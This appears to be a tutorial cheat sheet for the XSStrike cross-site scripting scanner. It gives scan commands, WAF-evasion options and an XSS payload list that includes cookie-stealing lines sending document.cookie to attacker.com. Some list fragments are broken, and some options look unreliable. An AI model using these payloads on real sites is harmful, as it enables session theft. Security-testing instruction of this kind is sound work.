Most advanced XSS detection suite with powerful crawling and fuzzing capabilities
XSStrike is an advanced Cross-Site Scripting (XSS) detection and exploitation suite. It’s a Python-based tool that comes with intelligent payload generation, WAF detection and evasion, crawling, and fuzzing capabilities. Unlike basic XSS scanners, XSStrike uses context analysis and multiple encoding techniques to find complex XSS vulnerabilities.
Key Features:
# Clone the repository
git clone https://github.com/s0md3v/XSStrike.git
cd XSStrike
# Install dependencies
pip3 install -r requirements.txt
# Run XSStrike
python3 xsstrike.py -h
# Add to ~/.bashrc or ~/.zshrc
alias xsstrike='python3 /path/to/XSStrike/xsstrike.py'
# Test a single URL
python3 xsstrike.py -u "http://target.com/page?param=value"
# Test with POST data
python3 xsstrike.py -u "http://target.com/form" --data "name=test&email=test@test.com"
# Test multiple parameters
python3 xsstrike.py -u "http://target.com/search?q=test&type=all&sort=date"
# Crawl and test
python3 xsstrike.py -u "http://target.com" --crawl
# Crawl with depth limit
python3 xsstrike.py -u "http://target.com" --crawl -l 2
# Crawl specific path
python3 xsstrike.py -u "http://target.com/blog" --crawl
# Fuzz parameters
python3 xsstrike.py -u "http://target.com/page?param" --fuzzer
# Fuzz with custom wordlist
python3 xsstrike.py -u "http://target.com/page?param" --fuzzer -w custom.txt
# Detect WAF
python3 xsstrike.py -u "http://target.com/page?param=value" --waf
# Skip WAF detection
python3 xsstrike.py -u "http://target.com/page?param=value" --skip-waf
# Custom encoding for evasion
python3 xsstrike.py -u "http://target.com/page?param=value" --encode
# Add custom headers
python3 xsstrike.py -u "http://target.com/page?param=value" \
--headers "X-Forwarded-For: 127.0.0.1"
# Use cookies
python3 xsstrike.py -u "http://target.com/page?param=value" \
--cookie "session=abc123; user=admin"
# From file
python3 xsstrike.py -u "http://target.com" --headers headers.txt
# Use specific payload
python3 xsstrike.py -u "http://target.com/page?param=value" \
--payload "<script>alert(1)</script>"
# Custom payload file
python3 xsstrike.py -u "http://target.com/page?param=value" \
--file payloads.txt
# Skip DOM based scanning
python3 xsstrike.py -u "http://target.com/page?param=value" --skip-dom
# Use XSS Hunter or similar
python3 xsstrike.py -u "http://target.com/page?param=value" \
--blind "https://your-xss-hunter.com/unique-id"
# Test search with crawling
python3 xsstrike.py -u "http://target.com/search?q=test" --crawl -l 1
# Test with different encodings
python3 xsstrike.py -u "http://target.com/search?q=test" --encode
# POST data testing
python3 xsstrike.py -u "http://target.com/contact" \
--data "name=John&email=test@test.com&message=Hello" \
--fuzzer
# Authenticated testing
python3 xsstrike.py -u "http://target.com/dashboard?tab=profile" \
--cookie "session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
--crawl
# Test API with JSON
python3 xsstrike.py -u "http://target.com/api/user" \
--data '{"username":"admin","role":"user"}' \
--headers "Content-Type: application/json"
# Full site scan
python3 xsstrike.py -u "http://target.com" \
--crawl -l 3 \
--fuzzer \
--skip-dom \
--timeout 10 \
-t 10
http://site.com?search=<script>alert(1)</script>location.hash manipulation<!-- Alert box -->
<script>alert('XSS')</script>
<script>alert(document.domain)</script>
<!-- Image tag -->
<img src=x onerror=alert(1)>
<img src=x onerror=alert(document.cookie)>
<!-- SVG -->
<svg onload=alert(1)>
<svg/onload=alert(document.domain)>
<!-- Body tag -->
<body onload=alert(1)>
<!-- Case manipulation -->
<ScRiPt>alert(1)</sCrIpT>
<!-- HTML encoding -->
<img src=x onerror=alert(1)>
<!-- URL encoding -->
%3Cscript%3Ealert(1)%3C/script%3E
<!-- Unicode encoding -->
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>
<!-- Filter bypass -->
<svg/onload=alert(1)>
<iframe src="javascript:alert(1)">
<details open ontoggle=alert(1)>
<!-- Simple cookie stealer -->
<script>fetch('http://attacker.com/?c='+document.cookie)</script>
<!-- Using image -->
<img src=x onerror=this.src='http://attacker.com/?c='+document.cookie>
<!-- XSS Hunter -->
<script src="https://your-xss-hunter.com/unique-id"></script>
<!-- Comment breaking -->
<scr<!--comment-->ipt>alert(1)</script>
<!-- Tag breaking -->
<scr<script>ipt>alert(1)</script>
<!-- Null byte -->
<scri%00pt>alert(1)</script>
<!-- HTML entities -->
<img src=x onerror="alert(1)">
<!-- Case variation -->
<ScRiPt>alert(1)</ScRiPt>
<!-- Alternative tags -->
<svg/onload=alert(1)>
<marquee onstart=alert(1)>
-u, --url Target URL
-d, --data POST data
--crawl Crawl the website
-l, --level Crawl depth (default: 2)
--fuzzer Fuzzer mode
--blind Blind XSS payload
--skip-dom Skip DOM XSS scanning
--skip-waf Skip WAF detection
--headers Add custom headers
--cookie Add cookies
-t, --threads Number of threads
--timeout Timeout in seconds
--payload Use specific payload
--file Load payloads from file
--encode Use encoding
--timeout)# Send requests through Burp proxy
python3 xsstrike.py -u "http://target.com" --proxy http://127.0.0.1:8080
# Use ZAP as proxy
python3 xsstrike.py -u "http://target.com" --proxy http://127.0.0.1:8081
# Use XSStrike programmatically
from xsstrike import scan
results = scan("http://target.com/page?param=value")
--encode)XSStrike is a powerful testing tool. Always ensure:
Master XSS detection with context awareness. Test ethically, report responsibly.